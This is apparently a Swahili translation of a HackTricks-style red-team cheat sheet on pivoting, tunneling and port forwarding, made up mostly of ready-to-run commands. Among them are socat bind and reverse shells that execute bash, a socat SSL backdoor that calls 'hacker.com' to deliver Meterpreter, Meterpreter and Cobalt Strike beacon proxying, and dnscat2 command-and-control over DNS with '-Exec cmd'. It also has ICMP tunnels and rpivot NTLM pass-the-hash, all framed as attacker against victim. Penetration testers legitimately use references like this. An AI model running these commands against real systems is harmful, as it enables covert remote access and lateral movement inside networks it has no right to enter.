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543 lines
22 KiB
Markdown
543 lines
22 KiB
Markdown
# Kuchimba na Kusogeza Bandari
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<details>
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<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
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* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Unataka kuona **kampuni yako ikionekana kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
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* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
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* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
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* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **nifuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
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* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye [repo ya hacktricks](https://github.com/carlospolop/hacktricks) na [repo ya hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
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</details>
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**Kikundi cha Usalama cha Kujitahidi Kwa Bidii**
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<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
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{% embed url="https://discord.gg/tryhardsecurity" %}
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***
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## Sawa ya Nmap
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{% hint style="warning" %}
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Uchunguzi wa **ICMP** na **SYN** hauwezi kuchimbwa kupitia proksi za socks, hivyo tunapaswa **kulemaza ugunduzi wa ping** (`-Pn`) na kutaja **uchunguzi wa TCP** (`-sT`) ili hii ifanye kazi.
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{% endhint %}
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## **Bash**
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**Mwenyeji -> Rukia -> NdaniA -> NdaniB**
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```bash
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# On the jump server connect the port 3333 to the 5985
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mknod backpipe p;
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nc -lvnp 5985 0<backpipe | nc -lvnp 3333 1>backpipe
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# On InternalA accessible from Jump and can access InternalB
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## Expose port 3333 and connect it to the winrm port of InternalB
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exec 3<>/dev/tcp/internalB/5985
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exec 4<>/dev/tcp/Jump/3333
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cat <&3 >&4 &
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cat <&4 >&3 &
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# From the host, you can now access InternalB from the Jump server
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evil-winrm -u username -i Jump
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```
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## **SSH**
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Unganisho la picha la SSH (X)
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```bash
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ssh -Y -C <user>@<ip> #-Y is less secure but faster than -X
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```
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### Bandari ya Mitaani kwenda Bandari
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Fungua Bandari Mpya kwenye Seva ya SSH --> Bandari Nyingine
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```bash
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ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1 #Local port 1521 accessible in port 10521 from everywhere
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```
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```bash
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ssh -R 0.0.0.0:10521:10.0.0.1:1521 user@10.0.0.1 #Remote port 1521 accessible in port 10521 from everywhere
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```
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### Port2Port
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Bandari ya ndani --> Mwenyeji aliyeathiriwa (SSH) --> Sanduku la tatu:Bandari
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```bash
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ssh -i ssh_key <user>@<ip_compromised> -L <attacker_port>:<ip_victim>:<remote_port> [-p <ssh_port>] [-N -f] #This way the terminal is still in your host
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#Example
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sudo ssh -L 631:<ip_victim>:631 -N -f -l <username> <ip_compromised>
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```
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### Port2hostnet (proxychains)
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Port ya Mwenyeji --> Mwenyeji Aliyodhuriwa (SSH) --> Mahali Popote
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```bash
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ssh -f -N -D <attacker_port> <username>@<ip_compromised> #All sent to local port will exit through the compromised server (use as proxy)
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```
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### Kusonga Porti Nyuma
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Hii ni muhimu kupata mabua ya nyuma kutoka kwa mwenyeji wa ndani kupitia eneo la DMZ hadi kwa mwenyeji wako:
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```bash
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ssh -i dmz_key -R <dmz_internal_ip>:443:0.0.0.0:7000 root@10.129.203.111 -vN
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# Now you can send a rev to dmz_internal_ip:443 and caputure it in localhost:7000
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# Note that port 443 must be open
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# Also, remmeber to edit the /etc/ssh/sshd_config file on Ubuntu systems
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# and change the line "GatewayPorts no" to "GatewayPorts yes"
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# to be able to make ssh listen in non internal interfaces in the victim (443 in this case)
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```
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### VPN-Tunnel
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Unahitaji **root kwenye vifaa vyote** (kwa kuwa utaunda interfaces mpya) na sshd config inapaswa kuruhusu kuingia kama root:\
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`PermitRootLogin yes`\
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`PermitTunnel yes`
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```bash
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ssh root@server -w any:any #This will create Tun interfaces in both devices
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ip addr add 1.1.1.2/32 peer 1.1.1.1 dev tun0 #Client side VPN IP
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ifconfig tun0 up #Activate the client side network interface
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ip addr add 1.1.1.1/32 peer 1.1.1.2 dev tun0 #Server side VPN IP
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ifconfig tun0 up #Activate the server side network interface
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```
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Washa uhamishaji upande wa Seva
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```bash
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echo 1 > /proc/sys/net/ipv4/ip_forward
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iptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADE
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```
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Weka njia mpya upande wa mteja
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```
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route add -net 10.0.0.0/16 gw 1.1.1.1
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```
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## SSHUTTLE
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Unaweza **kutumia kivukio** kupitia **ssh** kusafirisha **trafiki yote** kwenye **mtandao wa sehemu** kupitia mwenyeji.\
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Kwa mfano, kusafirisha trafiki yote inayoelekea kwenye 10.10.10.0/24
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```bash
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pip install sshuttle
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sshuttle -r user@host 10.10.10.10/24
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```
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unganisha kwa ufunguo wa kibinafsi
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```bash
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sshuttle -D -r user@host 10.10.10.10 0/0 --ssh-cmd 'ssh -i ./id_rsa'
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# -D : Daemon mode
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```
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## Meterpreter
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### Port2Port
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Port ya ndani --> Host iliyovamiwa (kikao cha aktive) --> Sanduku la tatu:Port
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```bash
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# Inside a meterpreter session
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portfwd add -l <attacker_port> -p <Remote_port> -r <Remote_host>
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```
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### SOCKS
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SOCKS ni itifaki inayotumiwa kwa kusudi la kusafirisha trafiki ya mtandao kati ya seva na mteja, ikiruhusu mteja kupitisha trafiki yake kupitia seva ya proxy. Itifaki hii inaweza kutumika kwa njia ya tunneling na port forwarding kwa kusudi la kuficha mahali halisi la mteja au kuvuka vizuizi vya mtandao.
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```bash
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background# meterpreter session
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route add <IP_victim> <Netmask> <Session> # (ex: route add 10.10.10.14 255.255.255.0 8)
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use auxiliary/server/socks_proxy
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run #Proxy port 1080 by default
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echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
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```
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Njia nyingine:
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```bash
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background #meterpreter session
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use post/multi/manage/autoroute
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set SESSION <session_n>
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set SUBNET <New_net_ip> #Ex: set SUBNET 10.1.13.0
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set NETMASK <Netmask>
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run
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use auxiliary/server/socks_proxy
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set VERSION 4a
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run #Proxy port 1080 by default
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echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
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```
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## Cobalt Strike
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### SOCKS proxy
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Fungua kituo cha bandari kwenye timu ya seva inayosikiliza kwenye interface zote ambazo zinaweza kutumika kusafirisha trafiki kupitia kwa beacon.
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```bash
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beacon> socks 1080
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[+] started SOCKS4a server on: 1080
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# Set port 1080 as proxy server in proxychains.conf
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proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25
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```
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### rPort2Port
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{% hint style="warning" %}
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Katika kesi hii, **bandari inafunguliwa kwenye mwenyeji wa ishara**, sio kwenye Seva ya Timu na trafiki inatumwa kwenye Seva ya Timu na kutoka hapo kwenda kwa mwenyeji:bandari ulioonyeshwa
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{% endhint %}
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```bash
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rportfwd [bind port] [forward host] [forward port]
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rportfwd stop [bind port]
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```
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### rPort2Port ya ndani
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{% hint style="warning" %}
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Katika kesi hii, **bandari inafunguliwa kwenye mwenyeji wa beacon**, sio kwenye Seva ya Timu na **trafiki inatumwa kwa mteja wa Cobalt Strike** (sio kwa Seva ya Timu) na kutoka hapo kwenda kwa mwenyeji:bandari uliyotajwa
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{% endhint %}
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```
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rportfwd_local [bind port] [forward host] [forward port]
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rportfwd_local stop [bind port]
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```
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## reGeorg
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[https://github.com/sensepost/reGeorg](https://github.com/sensepost/reGeorg)
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Unahitaji kupakia faili ya wavuti ya uchimbaji wa faili: ashx|aspx|js|jsp|php|php|jsp
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```bash
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python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp
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```
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## Chisel
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Unaweza kuipakua kutoka kwenye ukurasa wa matoleo ya [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel)\
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Unahitaji kutumia **toleo sawa kwa mteja na server**
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### socks
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```bash
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./chisel server -p 8080 --reverse #Server -- Attacker
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./chisel-x64.exe client 10.10.14.3:8080 R:socks #Client -- Victim
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#And now you can use proxychains with port 1080 (default)
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./chisel server -v -p 8080 --socks5 #Server -- Victim (needs to have port 8080 exposed)
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./chisel client -v 10.10.10.10:8080 socks #Attacker
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```
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### Kusonga Bandari
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```bash
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./chisel_1.7.6_linux_amd64 server -p 12312 --reverse #Server -- Attacker
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./chisel_1.7.6_linux_amd64 client 10.10.14.20:12312 R:4505:127.0.0.1:4505 #Client -- Victim
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```
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## Rpivot
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[https://github.com/klsecservices/rpivot](https://github.com/klsecservices/rpivot)
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Mfereji wa nyuma. Mfereji huanzishwa kutoka kwa mwathiriwa.\
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Proksi ya socks4 inaundwa kwenye 127.0.0.1:1080
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```bash
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attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080
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```
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```bash
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victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999
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```
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Pitisha kupitia **proksi ya NTLM**
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```bash
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victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --password P@ssw0rd
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```
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```bash
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victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --hashes 9b9850751be2515c8231e5189015bbe6:49ef7638d69a01f26d96ed673bf50c45
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```
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## **Socat**
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[https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries)
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### Bind shell
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```bash
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victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
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attacker> socat FILE:`tty`,raw,echo=0 TCP4:<victim_ip>:1337
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```
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### Reverse shell
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```bash
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attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
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victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
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```
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### Port2Port
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### Bandari kwenda Bandari
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```bash
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socat TCP4-LISTEN:<lport>,fork TCP4:<redirect_ip>:<rport> &
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```
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### Port2Port kupitia soksi
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```bash
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socat TCP4-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678
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```
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### Meterpreter kupitia SSL Socat
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```bash
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#Create meterpreter backdoor to port 3333 and start msfconsole listener in that port
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attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1 TCP:127.0.0.1:3333
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```
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```bash
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victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5
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#Execute the meterpreter
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```
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Unaweza kuzunguka **proxy isiyo na uthibitisho** kwa kutekeleza mstari huu badala ya wa mwisho kwenye konsoli ya mhanga:
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```bash
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OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5
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```
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[https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/](https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/)
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### Tuneli ya SSL ya Socat
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**Konsoli ya /bin/sh**
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Unda vyeti pande zote mbili: Mteja na Seva
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```bash
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# Execute these commands on both sides
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FILENAME=socatssl
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openssl genrsa -out $FILENAME.key 1024
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openssl req -new -key $FILENAME.key -x509 -days 3653 -out $FILENAME.crt
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cat $FILENAME.key $FILENAME.crt >$FILENAME.pem
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chmod 600 $FILENAME.key $FILENAME.pem
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```
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```bash
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attacker-listener> socat OPENSSL-LISTEN:433,reuseaddr,cert=server.pem,cafile=client.crt EXEC:/bin/sh
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victim> socat STDIO OPENSSL-CONNECT:localhost:433,cert=client.pem,cafile=server.crt
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```
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### Port2Port ya Mbali
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unganisha bandari ya SSH ya ndani (22) kwenye bandari ya 443 ya mwenyeji wa mshambuliaji
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```bash
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attacker> sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr #Redirect port 2222 to port 443 in localhost
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victim> while true; do socat TCP4:<attacker>:443 TCP4:127.0.0.1:22 ; done # Establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22
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attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh of the victim
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```
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## Plink.exe
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Ni kama toleo la konsoli la PuTTY (chaguo zake ni sawa sana na mteja wa ssh).
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Kwa kuwa binary hii itatekelezwa kwa mhanga na ni mteja wa ssh, tunahitaji kufungua huduma yetu ya ssh na bandari ili tuweze kuwa na uunganisho wa nyuma. Kisha, kusonga bandari inayopatikana kwa urahisi tu kwenda kwa bandari kwenye mashine yetu:
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```bash
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echo y | plink.exe -l <Our_valid_username> -pw <valid_password> [-p <port>] -R <port_ in_our_host>:<next_ip>:<final_port> <your_ip>
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echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090
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```
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## Windows netsh
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### Port2Port
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Unahitaji kuwa mtawala wa eneo (kwa bandari yoyote)
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```bash
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netsh interface portproxy add v4tov4 listenaddress= listenport= connectaddress= connectport= protocol=tcp
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# Example:
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netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=4444 connectaddress=10.10.10.10 connectport=4444
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# Check the port forward was created:
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netsh interface portproxy show v4tov4
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# Delete port forward
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netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
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```
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## SocksOverRDP & Proxifier
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Unahitaji kuwa na **upatikanaji wa RDP kwenye mfumo**.\
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Pakua:
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1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - Zana hii hutumia `Dynamic Virtual Channels` (`DVC`) kutoka kwa kipengele cha Huduma ya Desktop ya Mbali ya Windows. DVC inahusika na **kutunza pakiti kupitia uhusiano wa RDP**.
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2. [Proxifier Portable Binary](https://www.proxifier.com/download/#win-tab)
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Kwenye kompyuta yako ya mteja pakia **`SocksOverRDP-Plugin.dll`** kama hivi:
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```bash
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# Load SocksOverRDP.dll using regsvr32.exe
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C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
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```
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Sasa tunaweza **kuunganisha** kwa **muhanga** kupitia **RDP** kutumia **`mstsc.exe`**, na tunapaswa kupokea **kitufe** kikisema kuwa **programu-jalizi ya SocksOverRDP imeanzishwa**, na itakuwa **ikisikiliza** kwenye **127.0.0.1:1080**.
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**Ungezea** kupitia **RDP** na kupakia & kutekeleza kwenye mashine ya muhanga `SocksOverRDP-Server.exe` binary:
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```
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C:\SocksOverRDP-x64> SocksOverRDP-Server.exe
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```
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Sasa, hakikisha kwenye mashine yako (mshambuliaji) kwamba bandari 1080 inasikiliza:
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```
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netstat -antb | findstr 1080
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```
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Sasa unaweza kutumia [**Proxifier**](https://www.proxifier.com/) **kupitia trafiki hiyo kupitia bandari hiyo.**
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## Proxify Programu za Windows GUI
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Unaweza kufanya programu za Windows GUI zinazotembea kupitia proksi kwa kutumia [**Proxifier**](https://www.proxifier.com/).\
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Katika **Profile -> Proxy Servers** ongeza IP na bandari ya seva ya SOCKS.\
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Katika **Profile -> Proxification Rules** ongeza jina la programu ya kufanya proksi na uhusiano kwa IPs unazotaka kufanya proksi.
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## Kupuuza proksi ya NTLM
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Zana iliyotajwa hapo awali: **Rpivot**\
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**OpenVPN** pia inaweza kuipuuza, kwa kuweka chaguo hizi katika faili ya usanidi:
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```bash
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http-proxy <proxy_ip> 8080 <file_with_creds> ntlm
|
||
```
|
||
### Cntlm
|
||
|
||
[http://cntlm.sourceforge.net/](http://cntlm.sourceforge.net/)
|
||
|
||
Inathibitisha dhidi ya proxi na kufunga bandari kwa upande wa ndani ambayo inaelekezwa kwa huduma ya nje unayotaja. Kisha, unaweza kutumia chombo unachopendelea kupitia bandari hii.\
|
||
Kwa mfano, inaweza kuendesha bandari 443.
|
||
```
|
||
Username Alice
|
||
Password P@ssw0rd
|
||
Domain CONTOSO.COM
|
||
Proxy 10.0.0.10:8080
|
||
Tunnel 2222:<attackers_machine>:443
|
||
```
|
||
Sasa, ikiwa unaweka kwa mfano kwenye mhanga huduma ya **SSH** kusikiliza kwenye bandari 443. Unaweza kuunganisha kupitia bandari ya 2222 ya mshambuliaji.\
|
||
Unaweza pia kutumia **meterpreter** inayounganisha kwa localhost:443 na mshambuliaji anasikiliza kwenye bandari 2222.
|
||
|
||
## YARP
|
||
|
||
Proksi ya nyuma iliyoundwa na Microsoft. Unaweza kuipata hapa: [https://github.com/microsoft/reverse-proxy](https://github.com/microsoft/reverse-proxy)
|
||
|
||
## DNS Tunneling
|
||
|
||
### Iodine
|
||
|
||
[https://code.kryo.se/iodine/](https://code.kryo.se/iodine/)
|
||
|
||
Root inahitajika kwenye mifumo yote kujenga viunganishi vya tun na kufanya data ya mtaro kati yao kutumia matakwa ya DNS.
|
||
```
|
||
attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com
|
||
victim> iodine -f -P P@ssw0rd tunneldomain.com -r
|
||
#You can see the victim at 1.1.1.2
|
||
```
|
||
Tunnel itakuwa polepole sana. Unaweza kuunda uhusiano wa SSH uliopimwa kupitia handaki hili kwa kutumia:
|
||
```
|
||
ssh <user>@1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080
|
||
```
|
||
### DNSCat2
|
||
|
||
[**Pakua hapa**](https://github.com/iagox86/dnscat2)**.**
|
||
|
||
Inaanzisha njia ya C\&C kupitia DNS. Haitaji mamlaka ya msingi.
|
||
```bash
|
||
attacker> ruby ./dnscat2.rb tunneldomain.com
|
||
victim> ./dnscat2 tunneldomain.com
|
||
|
||
# If using it in an internal network for a CTF:
|
||
attacker> ruby dnscat2.rb --dns host=10.10.10.10,port=53,domain=mydomain.local --no-cache
|
||
victim> ./dnscat2 --dns host=10.10.10.10,port=5353
|
||
```
|
||
#### **Kwa PowerShell**
|
||
|
||
Unaweza kutumia [**dnscat2-powershell**](https://github.com/lukebaggett/dnscat2-powershell) kutekeleza mteja wa dnscat2 kwenye powershell:
|
||
```
|
||
Import-Module .\dnscat2.ps1
|
||
Start-Dnscat2 -DNSserver 10.10.10.10 -Domain mydomain.local -PreSharedSecret somesecret -Exec cmd
|
||
```
|
||
#### **Kusonga mbele kwa kutumia dnscat**
|
||
```bash
|
||
session -i <sessions_id>
|
||
listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this bind 8080port in attacker host
|
||
```
|
||
#### Badilisha DNS ya proxychains
|
||
|
||
Proxychains inakamata wito wa libc wa `gethostbyname` na kufanya ombi la DNS la tcp kupitia proksi ya socks. Kwa **chaguo-msingi** serveri ya **DNS** ambayo proxychains hutumia ni **4.2.2.2** (imeandikwa kikamilifu). Ili kubadilisha, hariri faili: _/usr/lib/proxychains3/proxyresolv_ na ubadilishe IP. Ikiwa uko katika mazingira ya **Windows** unaweza kuweka IP ya **domain controller**.
|
||
|
||
## Mita Mita katika Go
|
||
|
||
[https://github.com/hotnops/gtunnel](https://github.com/hotnops/gtunnel)
|
||
|
||
## Tunnels ya ICMP
|
||
|
||
### Hans
|
||
|
||
[https://github.com/friedrich/hans](https://github.com/friedrich/hans)\
|
||
[https://github.com/albertzak/hanstunnel](https://github.com/albertzak/hanstunnel)
|
||
|
||
Mizizi inahitajika katika mifumo yote miwili ili kuunda viunganishi vya tun na kutuma data kati yao kwa kutumia maombi ya ping ya ICMP.
|
||
```bash
|
||
./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection)
|
||
./hans -f -c <server_ip> -p P@ssw0rd -v
|
||
ping 1.1.1.100 #After a successful connection, the victim will be in the 1.1.1.100
|
||
```
|
||
### ptunnel-ng
|
||
|
||
[**Pakua hapa**](https://github.com/utoni/ptunnel-ng.git).
|
||
```bash
|
||
# Generate it
|
||
sudo ./autogen.sh
|
||
|
||
# Server -- victim (needs to be able to receive ICMP)
|
||
sudo ptunnel-ng
|
||
# Client - Attacker
|
||
sudo ptunnel-ng -p <server_ip> -l <listen_port> -r <dest_ip> -R <dest_port>
|
||
# Try to connect with SSH through ICMP tunnel
|
||
ssh -p 2222 -l user 127.0.0.1
|
||
# Create a socks proxy through the SSH connection through the ICMP tunnel
|
||
ssh -D 9050 -p 2222 -l user 127.0.0.1
|
||
```
|
||
## ngrok
|
||
|
||
**[ngrok](https://ngrok.com/) ni chombo cha kufunua suluhisho kwa Mtandao kwa amri moja.**
|
||
*URI za Ufunuo ni kama:* **UID.ngrok.io**
|
||
|
||
### Usakinishaji
|
||
|
||
- Unda akaunti: https://ngrok.com/signup
|
||
- Pakua Mteja:
|
||
```bash
|
||
tar xvzf ~/Downloads/ngrok-v3-stable-linux-amd64.tgz -C /usr/local/bin
|
||
chmod a+x ./ngrok
|
||
# Init configuration, with your token
|
||
./ngrok config edit
|
||
```
|
||
### Matumizi ya Msingi
|
||
|
||
**Nyaraka:** [https://ngrok.com/docs/getting-started/](https://ngrok.com/docs/getting-started/).
|
||
|
||
*Pia niwezekana kuongeza uthibitisho na TLS, ikiwa ni lazima.*
|
||
|
||
#### Kufanya Barabara ya TCP
|
||
```bash
|
||
# Pointing to 0.0.0.0:4444
|
||
./ngrok tcp 4444
|
||
# Example of resulting link: 0.tcp.ngrok.io:12345
|
||
# Listen (example): nc -nvlp 4444
|
||
# Remote connect (example): nc $(dig +short 0.tcp.ngrok.io) 12345
|
||
```
|
||
#### Kufunua faili kwa kutumia HTTP
|
||
```bash
|
||
./ngrok http file:///tmp/httpbin/
|
||
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
|
||
```
|
||
#### Kuchunguza wito wa HTTP
|
||
|
||
*Inatumika kwa XSS, SSRF, SSTI ...*
|
||
Moja kwa moja kutoka kwa stdout au kwenye kiolesura cha HTTP [http://127.0.0.1:4040](http://127.0.0.1:4000).
|
||
|
||
#### Kutunelisha huduma ya ndani ya HTTP
|
||
```bash
|
||
./ngrok http localhost:8080 --host-header=rewrite
|
||
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
|
||
# With basic auth
|
||
./ngrok http localhost:8080 --host-header=rewrite --auth="myuser:mysuperpassword"
|
||
```
|
||
#### Mfano rahisi wa usanidi wa ngrok.yaml
|
||
|
||
Inafungua njia 3:
|
||
- 2 TCP
|
||
- 1 HTTP na ufunuo wa faili za static kutoka /tmp/httpbin/
|
||
```yaml
|
||
tunnels:
|
||
mytcp:
|
||
addr: 4444
|
||
proto: tcptunne
|
||
anothertcp:
|
||
addr: 5555
|
||
proto: tcp
|
||
httpstatic:
|
||
proto: http
|
||
addr: file:///tmp/httpbin/
|
||
```
|
||
## Vifaa vingine vya kuangalia
|
||
|
||
* [https://github.com/securesocketfunneling/ssf](https://github.com/securesocketfunneling/ssf)
|
||
* [https://github.com/z3APA3A/3proxy](https://github.com/z3APA3A/3proxy)
|
||
|
||
**Kikundi cha Usalama cha Kujitahidi**
|
||
|
||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||
|
||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||
|
||
***
|
||
|
||
<details>
|
||
|
||
<summary><strong>Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||
|
||
* Je! Unafanya kazi katika **kampuni ya usalama wa mtandao**? Je! Unataka kuona **kampuni yako ikitangazwa kwenye HackTricks**? au unataka kupata ufikiaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **nifuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa [repo ya hacktricks](https://github.com/carlospolop/hacktricks) na [repo ya hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||
|
||
</details>
|